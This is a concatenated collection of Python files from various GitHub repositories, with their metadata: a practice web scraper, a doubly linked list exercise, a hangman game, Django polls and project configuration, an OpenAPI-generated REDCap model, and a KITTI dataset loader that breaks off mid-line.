import requests from bs4 import BeautifulSoup # Getting Value from the First Page url = 'https://scrapingclub.com/exercise/list_basic/?page=1' response = requests.get(url) soup = BeautifulSoup(response.text, 'lxml') items = soup.find_all('div', class_='col-lg-4 col-md-6 mb-4') count = 0 for i in items: itemName = i.find('h4', class_='card-title').text.strip('\n') itemPrice = i.find('h5').text count = count + 1 print(str(count) + '. itemPrice: ' + itemPrice, 'itemName: ' + itemName) # Getting Value from the All the Pages pages = soup.find('ul', class_='pagination') urls = [] links = pages.find_all('a', class_='page-link') for link in links: pageNum = int(link.text) if link.text.isdigit() else None if pageNum is not None: x = link.get('href') urls.append(x) print(urls) print('\nGetting Value from the All the Pages') count = 0 for i in urls: newURL = url + i response = requests.get(newURL) soup = BeautifulSoup(response.text, 'lxml') items = soup.find_all('div', class_='col-lg-4 col-md-6 mb-4') for i in items: itemName = i.find('h4', class_='card-title').text.strip('\n') itemPrice = i.find('h5').text count = count + 1 print(str(count) + '. itemPrice: ' + itemPrice, 'itemName: ' + itemName)

[ "anmolparida@gmail.com" ]

anmolparida@gmail.com

2ddc029faefc58eb0de8e0ede590a8fb248afe04

345c28544bbb723f8b5b5268a6dea3ced4fd92b3

/Chapter 7 Linked Lists/doubly linked lists/doubly_linked_node_before_after.py

eaaed0233beaf31acdeef095a01265fdb5252041

[]

no_license

devinpowers/algorithms

28dbdb467bd2eb2aaf784135c7e9c01b4e300977

582b97f577e537af0b7f8b9f0eb70422b08c7d52

refs/heads/master

2023-03-04T14:12:56.668572

2021-02-20T16:26:27

279,886,091

0

null

UTF-8

Python

false

3,997

py

class Node: def __init__(self, data): self.data = data self.next = None self.prev = None class DoublyLinkedList: def __init__(self): self.head = None def append(self, data): if self.head is None: new_node = Node(data) new_node.prev = None self.head = new_node else: new_node = Node(data) cur = self.head while cur.next: cur = cur.next cur.next = new_node new_node.prev = cur new_node.next = None def prepend(self, data): if self.head is None: new_node = Node(data) new_node.next = self.head self.head = new_node else: new_node = Node(data) self.head.prev = new_node new_node.next = self.head self.head = new_node def add_after_node(self, key, data): current = self.head while current: if current.next is None and current.data == key: # Case One self.append(data) return elif current.data == key: new_node = Node(data) nxt = current.next current.next = new_node new_node.next = nxt nxt.previous = new_node new_node.prev = current current = current.next def add_before_node(self, key, data): current = self.head while current: if current.prev is None and current.data == key: self.prepend(data) elif current.data == key: new_node = Node(data) prev = current.prev prev.next = new_node current.prev = new_node new_node.next = current new_node.prev = prev current = current.next def print_list(self): cur = self.head while cur: print(cur.data) cur = cur.next def delete(self, key): current = self.head while current: if current.data == key and current == self.head: # Case 1: if not current.next: current = None self.head = None return # Case 2: else: nxt = current.next current.next = None nxt.prev = None current = None self.head = nxt return elif current.data == key: # Case 3: if current.next: nxt = current.next prev = current.prev prev.next = nxt nxt.prev = prev current.next = None current.prev = None current = None return # Case 4: else: prev = current.prev prev.next = None current.prev = None current = None return current = current.next dllist = DoublyLinkedList() dllist.append(1) dllist.append(2) dllist.append(3) dllist.append(4) #dllist.add_after_node(1,11) #dllist.add_after_node(3,14) #dllist.add_after_node(4,69) dllist.add_before_node(4,69) dllist.add_before_node(3,23) dllist.add_before_node(2,59) dllist.print_list()

[ "powers88@msu.edu" ]

powers88@msu.edu

ac6e75aefd97283c37f2d48e7ab6c62e5864f6e2

f825d4972b46adc82afa863c2b6005c7749e5877

/hangman.py

59c65f431f2f478101dd4adf6fd5da76a10c42de

[ "Giftware" ]

permissive

Ashu0204/Projects-in-Python

dbd565786610c0a4805f41951f52b2e1bed7b831

b7ce4e132532fe6be2d4553dbddceccd5e6f3d1d

refs/heads/master

2022-01-08T00:55:37.941155

2018-11-16T04:29:28

null

0

null

UTF-8

Python

false

4,543

py

# Hangman game # ----------------------------------- import string import random WORDLIST_FILENAME = "words.txt" def loadWords(): """ Returns a list of valid words. Words are strings of lowercase letters. Depending on the size of the word list, this function may take a while to finish. """ print("Loading word list from file...") # inFile: file inFile = open(WORDLIST_FILENAME, 'r') # line: string line = inFile.readline() # wordlist: list of strings wordlist = line.split() print(" ", len(wordlist), "words loaded.") return wordlist def chooseWord(wordlist): """ wordlist (list): list of words (strings) Returns a word from wordlist at random """ return random.choice(wordlist) # ----------------------------------- # Load the list of words into the variable wordlist # so that it can be accessed from anywhere in the program wordlist = loadWords() def isWordGuessed(secretWord, lettersGuessed): ''' secretWord: string, the word the user is guessing lettersGuessed: list, what letters have been guessed so far returns: boolean, True if all the letters of secretWord are in lettersGuessed; False otherwise ''' count=0 for letter in secretWord: if letter in lettersGuessed: count=count+1 if count==len(secretWord): return True else: return False def getGuessedWord(secretWord, lettersGuessed): ''' secretWord: string, the word the user is guessing lettersGuessed: list, what letters have been guessed so far returns: string, comprised of letters and underscores that represents what letters in secretWord have been guessed so far. ''' secretwordlist = list(secretWord) for letter in secretwordlist: if letter not in lettersGuessed: secretwordlist[secretwordlist.index(letter)]='_' return " ".join(secretwordlist) def getAvailableLetters(lettersGuessed): ''' lettersGuessed: list, what letters have been guessed so far returns: string, comprised of letters that represents what letters have not yet been guessed. ''' complete_list = list(string.ascii_lowercase) for letter in complete_list: if letter in lettersGuessed: complete_list[complete_list.index(letter)]="" return "".join(complete_list) def hangman(secretWord): ''' secretWord: string, the secret word to guess. Starts up an interactive game of Hangman. * At the start of the game, let the user know how many letters the secretWord contains. * Ask the user to supply one guess (i.e. letter) per round. * The user should receive feedback immediately after each guess about whether their guess appears in the computers word. * After each round, you should also display to the user the partially guessed word so far, as well as letters that the user has not yet guessed. ''' print("Welcome to the game, Hangman!" + "\n" + "I am thinking of a word that is " + str(len(secretWord)) + " letters long" + "\n" + "-------------") print("You have 8 guesses left." + "\n" + "Available letters: " + string.ascii_lowercase) nog = 8 #nog - number of guesses lettersGuessed = [] available_letters = string.ascii_lowercase while nog>=1: guess = input("Please guess a letter: ") guess_lower = guess.lower() lettersGuessed.append(guess_lower) guessed_word = getGuessedWord(secretWord, lettersGuessed) if guess_lower in available_letters: if guess_lower in secretWord: print("Good guess: " + guessed_word + "\n" + "-------------") else: nog = nog-1 print("Oops! That letter is not in my word: " + guessed_word + "\n" + "-------------") else: print("Oops! You've already guessed that letter: "+ guessed_word + "\n" + "-------------") if isWordGuessed(secretWord, lettersGuessed)==True: print("Congratulations, you won!") break elif nog==0 and isWordGuessed(secretWord, lettersGuessed)==False: print("Sorry, you ran out of guesses. The word was " + secretWord + ".") break available_letters=getAvailableLetters(lettersGuessed) print("You have " + str(nog) + " guesses left" + "\n" + "Available letters: " + available_letters) # Playing the hangman game secretWord = chooseWord(wordlist).lower() hangman(secretWord)

[ "noreply@github.com" ]

Ashu0204.noreply@github.com

5bb05fab43f5353a702c4e9a5694f8f08030eda9

c74f234dc478b49f367106b414df2473ac35b93c

/mysite/polls/urls.py

5c7dd5797f18fd2607e2b916de5c2ac36d13007c

[]

no_license

Richiewong07/Django

05994f552cea2cb612c6c1957a0a9a39605fdf5c

09ac06a60c623d79bb8ecafd014ac7dbc74e8535

refs/heads/master

2021-04-15T14:00:00.394201

2018-03-24T00:34:15

126,238,394

0

null

UTF-8

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false

591

py

from django.conf.urls import url from . import views urlpatterns = [ # r^$ MEANS DON'T ADD ANYTHING TO OUR URL # views.index IS WHAT YOU WANT TO DISPLAY # 127.0.0.1/polls/ url(r'^$', views.index, name="index"), # SET QUESTION_ID TO A NUMBER # 127.0.0.1/polls/1 url(r'^(?P<question_id>[0-9]+)/$', views.detail, name="detail"), # 127.0.0.1/polls/1/results url(r'^(?P<question_id>[0-9]+)/results$', views.results, name="results"), # 127.0.0.1/polls/1/votes url(r'^(?P<question_id>[0-9]+)/vote$', views.vote, name="vote"), ] app_name = 'polls'

[ "richiewong07@yahoo.com" ]

richiewong07@yahoo.com

d47d43472d31e0e542659aeb3cc520cb97087223

1643a5a0d1acd3bdc851718c223ba0b14bbec1c3

/backend/rn_push_notificatio_27417/settings.py

0f648a30594df5a74b623cf3269344d5cfcda383

[]

no_license

crowdbotics-apps/rn-push-notificatio-27417

90c614ad558b2810e2b2cfe55e2dae7b97f1359e

ea9c37615be4e9e872a63d226562e4ca7bc2b6c5

refs/heads/master

2023-05-23T06:29:28.261563

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""" Django settings for rn_push_notificatio_27417 project. Generated by 'django-admin startproject' using Django 2.2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os import environ import logging env = environ.Env() # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env.bool("DEBUG", default=False) # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env.str("SECRET_KEY") ALLOWED_HOSTS = env.list("HOST", default=["*"]) SITE_ID = 1 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") SECURE_SSL_REDIRECT = env.bool("SECURE_REDIRECT", default=False) # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.sites' ] LOCAL_APPS = [ 'home', 'modules', 'users.apps.UsersConfig', ] THIRD_PARTY_APPS = [ 'rest_framework', 'rest_framework.authtoken', 'rest_auth', 'rest_auth.registration', 'bootstrap4', 'allauth', 'allauth.account', 'allauth.socialaccount', 'allauth.socialaccount.providers.google', 'django_extensions', 'drf_yasg', 'storages', # start fcm_django push notifications 'fcm_django', # end fcm_django push notifications ] INSTALLED_APPS += LOCAL_APPS + THIRD_PARTY_APPS MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'rn_push_notificatio_27417.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'web_build')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'rn_push_notificatio_27417.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } if env.str("DATABASE_URL", default=None): DATABASES = { 'default': env.db() } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' MIDDLEWARE += ['whitenoise.middleware.WhiteNoiseMiddleware'] AUTHENTICATION_BACKENDS = ( 'django.contrib.auth.backends.ModelBackend', 'allauth.account.auth_backends.AuthenticationBackend' ) STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles") STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'), os.path.join(BASE_DIR, 'web_build/static')] STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' # allauth / users ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_AUTHENTICATION_METHOD = 'email' ACCOUNT_USERNAME_REQUIRED = False ACCOUNT_EMAIL_VERIFICATION = "optional" ACCOUNT_CONFIRM_EMAIL_ON_GET = True ACCOUNT_LOGIN_ON_EMAIL_CONFIRMATION = True ACCOUNT_UNIQUE_EMAIL = True LOGIN_REDIRECT_URL = "users:redirect" ACCOUNT_ADAPTER = "users.adapters.AccountAdapter" SOCIALACCOUNT_ADAPTER = "users.adapters.SocialAccountAdapter" ACCOUNT_ALLOW_REGISTRATION = env.bool("ACCOUNT_ALLOW_REGISTRATION", True) SOCIALACCOUNT_ALLOW_REGISTRATION = env.bool("SOCIALACCOUNT_ALLOW_REGISTRATION", True) REST_AUTH_SERIALIZERS = { # Replace password reset serializer to fix 500 error "PASSWORD_RESET_SERIALIZER": "home.api.v1.serializers.PasswordSerializer", } REST_AUTH_REGISTER_SERIALIZERS = { # Use custom serializer that has no username and matches web signup "REGISTER_SERIALIZER": "home.api.v1.serializers.SignupSerializer", } # Custom user model AUTH_USER_MODEL = "users.User" EMAIL_HOST = env.str("EMAIL_HOST", "smtp.sendgrid.net") EMAIL_HOST_USER = env.str("SENDGRID_USERNAME", "") EMAIL_HOST_PASSWORD = env.str("SENDGRID_PASSWORD", "") EMAIL_PORT = 587 EMAIL_USE_TLS = True # AWS S3 config AWS_ACCESS_KEY_ID = env.str("AWS_ACCESS_KEY_ID", "") AWS_SECRET_ACCESS_KEY = env.str("AWS_SECRET_ACCESS_KEY", "") AWS_STORAGE_BUCKET_NAME = env.str("AWS_STORAGE_BUCKET_NAME", "") AWS_STORAGE_REGION = env.str("AWS_STORAGE_REGION", "") USE_S3 = ( AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY and AWS_STORAGE_BUCKET_NAME and AWS_STORAGE_REGION ) if USE_S3: AWS_S3_CUSTOM_DOMAIN = env.str("AWS_S3_CUSTOM_DOMAIN", "") AWS_S3_OBJECT_PARAMETERS = {"CacheControl": "max-age=86400"} AWS_DEFAULT_ACL = env.str("AWS_DEFAULT_ACL", "public-read") AWS_MEDIA_LOCATION = env.str("AWS_MEDIA_LOCATION", "media") AWS_AUTO_CREATE_BUCKET = env.bool("AWS_AUTO_CREATE_BUCKET", True) DEFAULT_FILE_STORAGE = env.str( "DEFAULT_FILE_STORAGE", "home.storage_backends.MediaStorage" ) MEDIA_URL = '/mediafiles/' MEDIA_ROOT = os.path.join(BASE_DIR, 'mediafiles') # start fcm_django push notifications FCM_DJANGO_SETTINGS = { "FCM_SERVER_KEY": env.str("FCM_SERVER_KEY", "") } # end fcm_django push notifications # Swagger settings for api docs SWAGGER_SETTINGS = { "DEFAULT_INFO": f"{ROOT_URLCONF}.api_info", } if DEBUG or not (EMAIL_HOST_USER and EMAIL_HOST_PASSWORD): # output email to console instead of sending if not DEBUG: logging.warning("You should setup `SENDGRID_USERNAME` and `SENDGRID_PASSWORD` env vars to send emails.") EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend"

[ "team@crowdbotics.com" ]

team@crowdbotics.com

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#!c:\users\karina funegra\djangogirls\myvenv\scripts\python.exe from django.core import management if __name__ == "__main__": management.execute_from_command_line()

[ "f_jessica@hotmail.com" ]

f_jessica@hotmail.com

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import uuid USER_KEY = 'uid' TEN_YEARS = 60*60*24*365*10 class UserIDMiddleware: def __init__(self,get_response): self.get_response = get_response def __call__(self, request): uid = self.generate_uid(request) request.uid = uid response = self.get_response(request) response.set_cookie(USER_KEY,uid,max_age=TEN_YEARS,httponly=True) return response def generate_uid(self,request): try: uid = request.COOKIES[USER_KEY] except KeyError: uid = uuid.uuid4().hex return uid

[ "mmy@outlook.com" ]

mmy@outlook.com

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/euler/Problem_38-Pandigital_multiples.py

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mingyyy/dataquest_projects

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refs/heads/master

2022-12-11T17:25:44.053404

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""" Take the number 192 and multiply it by each of 1, 2, and 3: By concatenating each product we get the 1 to 9 pandigital, 192384576. We will call 192384576 the concatenated product of 192 and (1,2,3) The same can be achieved by starting with 9 and multiplying by 1, 2, 3, 4, and 5, giving the pandigital, 918273645, which is the concatenated product of 9 and (1,2,3,4,5). What is the largest 1 to 9 pandigital 9-digit number that can be formed as the concatenated product of an integer with (1,2, ... , n) where n > 1? """

[ "j.yanming@gmail.com" ]

j.yanming@gmail.com

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/rcc/models/od_mcomplex_type_definition_method_def.py

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Sage-Bionetworks/rcc-client

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2023-02-23T05:55:39.279352

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# coding: utf-8 """ nPhase REST Resource REDCap REST API v.2 # noqa: E501 The version of the OpenAPI document: 2.0 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from rcc.configuration import Configuration class ODMcomplexTypeDefinitionMethodDef(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'description': 'ODMcomplexTypeDefinitionDescription', 'formal_expression': 'list[ODMcomplexTypeDefinitionFormalExpression]', 'alias': 'list[ODMcomplexTypeDefinitionAlias]', 'oid': 'str', 'name': 'str', 'type': 'str' } attribute_map = { 'description': 'description', 'formal_expression': 'formalExpression', 'alias': 'alias', 'oid': 'oid', 'name': 'name', 'type': 'type' } def __init__(self, description=None, formal_expression=None, alias=None, oid=None, name=None, type=None, local_vars_configuration=None): # noqa: E501 """ODMcomplexTypeDefinitionMethodDef - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._description = None self._formal_expression = None self._alias = None self._oid = None self._name = None self._type = None self.discriminator = None self.description = description if formal_expression is not None: self.formal_expression = formal_expression if alias is not None: self.alias = alias if oid is not None: self.oid = oid if name is not None: self.name = name if type is not None: self.type = type @property def description(self): """Gets the description of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The description of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: ODMcomplexTypeDefinitionDescription """ return self._description @description.setter def description(self, description): """Sets the description of this ODMcomplexTypeDefinitionMethodDef. :param description: The description of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: ODMcomplexTypeDefinitionDescription """ if self.local_vars_configuration.client_side_validation and description is None: # noqa: E501 raise ValueError("Invalid value for `description`, must not be `None`") # noqa: E501 self._description = description @property def formal_expression(self): """Gets the formal_expression of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The formal_expression of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: list[ODMcomplexTypeDefinitionFormalExpression] """ return self._formal_expression @formal_expression.setter def formal_expression(self, formal_expression): """Sets the formal_expression of this ODMcomplexTypeDefinitionMethodDef. :param formal_expression: The formal_expression of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: list[ODMcomplexTypeDefinitionFormalExpression] """ self._formal_expression = formal_expression @property def alias(self): """Gets the alias of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The alias of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: list[ODMcomplexTypeDefinitionAlias] """ return self._alias @alias.setter def alias(self, alias): """Sets the alias of this ODMcomplexTypeDefinitionMethodDef. :param alias: The alias of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: list[ODMcomplexTypeDefinitionAlias] """ self._alias = alias @property def oid(self): """Gets the oid of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The oid of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: str """ return self._oid @oid.setter def oid(self, oid): """Sets the oid of this ODMcomplexTypeDefinitionMethodDef. :param oid: The oid of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: str """ self._oid = oid @property def name(self): """Gets the name of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The name of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: str """ return self._name @name.setter def name(self, name): """Sets the name of this ODMcomplexTypeDefinitionMethodDef. :param name: The name of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: str """ self._name = name @property def type(self): """Gets the type of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :return: The type of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this ODMcomplexTypeDefinitionMethodDef. :param type: The type of this ODMcomplexTypeDefinitionMethodDef. # noqa: E501 :type: str """ allowed_values = ["COMPUTATION", "IMPUTATION", "TRANSPOSE", "OTHER"] # noqa: E501 if self.local_vars_configuration.client_side_validation and type not in allowed_values: # noqa: E501 raise ValueError( "Invalid value for `type` ({0}), must be one of {1}" # noqa: E501 .format(type, allowed_values) ) self._type = type def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, ODMcomplexTypeDefinitionMethodDef): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, ODMcomplexTypeDefinitionMethodDef): return True return self.to_dict() != other.to_dict()

[ "thomas.yu@sagebase.org" ]

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import logging import os import shutil import tempfile import zipfile import numpy as np from PIL import Image from pyquaternion import Quaternion import datasetinsights.constants as const from datasetinsights.data.bbox import BBox3d from datasetinsights.storage.gcs import GCSClient from .base import Dataset from .nuscenes import Box logger = logging.getLogger(__name__) KITTI_GCS_PATH = "data/kitti" SPLITS = ["train", "test", "val", "trainval"] # test refers to KITTI's test # set which doesn't have labels KITTI = "kitti" NUSCENES = "nuscenes" VALID_FORMATS = [KITTI, NUSCENES] SAMPLEX_INDICES_FILE = "samples.txt" ZIP_FILES = [ "data_object_calib.zip", "data_object_image_2.zip", "data_object_label_2.zip", ] class KittiBox3d: """ class to represent a bounding box for the kitti dataset. Note that this style of bounding box is not primarily supported. The canonical 3d bounding box class for this repo is the class BBox3D. Reference code for KittiBox3d found at http://www.cvlibs.net/datasets/kitti/eval_object.php?obj_benchmark=3d https://github.com/bostondiditeam/kitti/tree/master/resources/devkit_object To convert from kitti style to nuscenes use the method convert_kitti2nu. """ def __init__( self, *, label: str, position, dimensions, angle, sample_idx, score: float = 1.0, ): """ Args: label: class label possibilities are 'car' 'pedestrian' and 'cyclist' position: x,y,z in camera coordinates (meters) dimensions: length, height, width (meters) angle: angle about vertical axis in radians range [-pi, pi] sample_idx: the index corresponding to the sample data (image), the image is stored in image_2/{sample_index:06d}.png score: confidence score (defaults to zero, to be used for ground truth) """ self.label = label self.position = position self.dimensions = dimensions self.angle = angle self.score = score self.sample_idx = sample_idx # todo add tests class KittiTransforms: """ Class to hold transformation matrices for a kitti data sample see more at https://github.com/yanii/kitti-pcl/blob/master/KITTI_README.TXT """ def __init__(self, calib_filename): self.lines = [line.rstrip() for line in open(calib_filename)] def _get_velo2camera(self): """ matrix takes a point in Velodyne coordinates and transforms it into the coordinate system of the left video camera. Likewise it serves as a representation of the Velodyne coordinate frame in camera coordinates. Returns: Combined translation and rotation matrix """ velo_to_cam = np.array( self.lines[5].strip().split(" ")[1:], dtype=np.float32 ) velo_to_cam.resize((3, 4)) return velo_to_cam @property def velo_to_cam_rotation(self): """ Rotation matrix takes a point in Velodyne coordinates and transforms it into the coordinate system of the left video camera. Likewise it serves as a representation of the Velodyne coordinate frame in camera coordinates. Returns: Rotation matrix """ velo_to_cam = self._get_velo2camera() return velo_to_cam[:, :3] @property def velo_to_cam_translation(self): """ Translation matrix takes a point in Velodyne coordinates and transforms it into the coordinate system of the left video camera. Likewise it serves as a representation of the Velodyne coordinate frame in camera coordinates. Returns: Translation matrix """ velo_to_cam = self._get_velo2camera() return velo_to_cam[:, 3] @property def r0_rect(self) -> np.ndarray: """ Returns: Quaternion to rectify camera frame. """ r0_rect = np.array( self.lines[4].strip().split(" ")[1:], dtype=np.float32 ) r0_rect.resize((3, 3)) return r0_rect @property def projection_mat_left(self): """ Returns: Projection matrix for left image (to project bounding box coordinate to image coordinates). """ p_left = np.array( self.lines[2].strip().split(" ")[1:], dtype=np.float32 ) return p_left.resize((3, 4)) @property def projection_rect_combined(self): """ Merge rectification and projection into one matrix. Returns: combined rectification and projection matrix """ p_combined = np.eye(4) p_combined[:3, :3] = self.r0_rect p_combined = np.dot(self.projection_mat_left, p_combined) return p_combined def convert_kitti2nu( *, bbox: KittiBox3d, transforms: KittiTransforms ) -> BBox3d: """ convert a bounding box from kitti format to nuscenes format Args: bbox: bounding box in kitti format transforms: camera transforms Returns: """ center = bbox.position wlh = [ bbox.dimensions[2], bbox.dimensions[0], bbox.dimensions[1], ] # lhw -> wlh bbox['wlh'] yaw_camera = bbox.angle name = bbox.label score = bbox.score # The Box class coord system is oriented the same way as as KITTI LIDAR: x # forward, y left, z up. # For rotation confer: http://www.cvlibs.net/datasets/kitti/setup.php. # 1: Create box in Box coordinate system with center at origin. # The second rotation in yaw_box transforms the coordinate frame from the # object frame # to KITTI camera frame. The equivalent cannot be naively done afterwards, # as it's box rotation # around the local object coordinate frame, rather than the camera frame. quat_box = Quaternion(axis=(0, 1, 0), angle=yaw_camera) * Quaternion( axis=(1, 0, 0), angle=np.pi / 2 ) box = Box([0.0, 0.0, 0.0], wlh, quat_box, name=name) # 2: Translate: KITTI defines the box center as the bottom center of the # vehicle. We use true center, # so we need to add half height in negative y direction, (since y points # downwards), to adjust. The # center is already given in camera coord system. box.translate(center + np.array([0, -wlh[2] / 2, 0])) # 3: Transform to KITTI LIDAR coord system. First transform from rectified # camera to camera, then # camera to KITTI lidar. box.rotate(Quaternion(matrix=transforms.r0_rect).inverse) box.translate(-transforms.velo_to_cam_translation) box.rotate(Quaternion(matrix=transforms.velo_to_cam_rotation).inverse) # Set score or NaN. box.score = score # Set dummy velocity. box.velocity = np.array((0.0, 0.0, 0.0)) box = BBox3d( translation=box.center, size=box.wlh, rotation=box.orientation, label=box.name, score=box.score, velocity=box.velocity, sample_token=bbox.sample_idx, ) return box def read_kitti_calib(filename): """Read the camera 2 calibration matrix from box text file""" with open(filename) as f: for line in f: data = line.split(" ") if data[0] == "P2:": calib = np.array([float(x) for x in data[1:13]]) return calib.reshape((3, 4)) raise FileNotFoundError( "Could not find entry for P2 in calib file {}".format(filename) ) def read_kitti_objects(filename): objects = list() with open(filename, "r") as fp: # Each line represents box single object for line in fp: objdata = line.split(" ") if not (14 <= len(objdata) <= 15): raise IOError("Invalid KITTI object file {}".format(filename)) # Parse object data objects.append( KittiBox3d( label=objdata[0], dimensions=[ float(objdata[10]), float(objdata[8]), float(objdata[9]), ], position=[float(p) for p in objdata[11:14]], angle=float(objdata[14]), score=float(objdata[15]) if len(objdata) == 16 else 1.0, sample_idx=os.path.basename(filename), ) ) return objects class Kitti(Dataset): """ dataloader for kitti dataset http://www.cvlibs.net/datasets/kitti/eval_object.php?obj_benchmark=3d """ def __init__( self, root=os.path.join(const.DEFAULT_DATA_ROOT, "kitti"), split="train", indices_file: str = None, ): """ Args: root: path to where data already exists or where it will be downloaded to split: which split of the data to use. Can be: 'train', 'test', 'val', 'trainval'. Can either specify split or indices file but not both. indices_file: file containing indices to use. Can either specify split or indices file but not both. """ if split not in SPLITS: raise ValueError( f"invlaid value for split: {split}," f" possible values are: {SPLITS}" ) if split is None and indices_file is None: raise ValueError( f"Cannot specify both indices file and split, must choose " f"one." ) # todo should probably have separate val set with labels kitti_split = "testing" if split == "test" else "training" # self.root = os.path.join(root, kitti_split) self.root = root if not os.path.exists(self.root): os.makedirs(self.root) self.split = split downloaded = self._check_downloaded() if not downloaded: logger.info(f"no local copy of dataset found.") self.download(cloud_path=KITTI_GCS_PATH) else: logger.info("local copy of dataset found, will not download") indices_file = indices_file or os.path.join( self.root, SAMPLEX_INDICES_FILE ) self.indices = self._read_indices_file(filename=indices_file) self.root = os.path.join(root, kitti_split) def _check_downloaded(self): for z in ZIP_FILES: p = os.path.join(self.root, z) if not os.path.exists(p): logger.info(f"could not find file {p}") return False return True def __len__(self): return len(self.indices) def _get_calib_filename(self, idx): calib_file = os.path.join(self.root, f"calib/{idx:06d}.txt") return calib_file def _get_label_filename(self, idx): label_file = os.path.join(self.root, f"label_2/{idx:06d}.txt") return label_file def __getitem__(self, index): idx = self.indices[index] # Load image img_file = os.path.join(self.root, f"image_2/{idx:06d}.png") image = Image.open(img_file) # Load calibration matrix calib_file = os.path.join(self.root, f"calib/{idx:06d}.txt") calib = read_kitti_calib(calib_file) nu_transform = KittiTransforms(calib_filename=calib_file) # Load annotations label_file = os.path.join(self.root, f"label_2/{idx:06d}.txt") objects = read_kitti_objects(label_file) bboxes = [ convert_kitti2nu(bbox=o, transforms=nu_transform) for o in objects ] return idx, image, calib, bboxes def _read_indices_file(self, filename): """ Args: filename: path to file which contains kitti sample indices_file Returns: list of indices_file """ with open(filename) as f: return [int(val) for val in f] def _download_sample_indices_file( self, *, cloud_client, object_key=None, local_file=None ): local_file = local_file or os.path.join(self.root, SAMPLEX_INDICES_FILE) object_key = object_key or f"{KITTI_GCS_PATH}/splits/{self.split}.txt" cloud_client.download( bucket_name=const.GCS_BUCKET, object_key=object_key, localfile=local_file, ) return local_file def download_kitti_zips(self, cloud_client, cloud_path=KITTI_GCS_PATH): calib_zip_key = 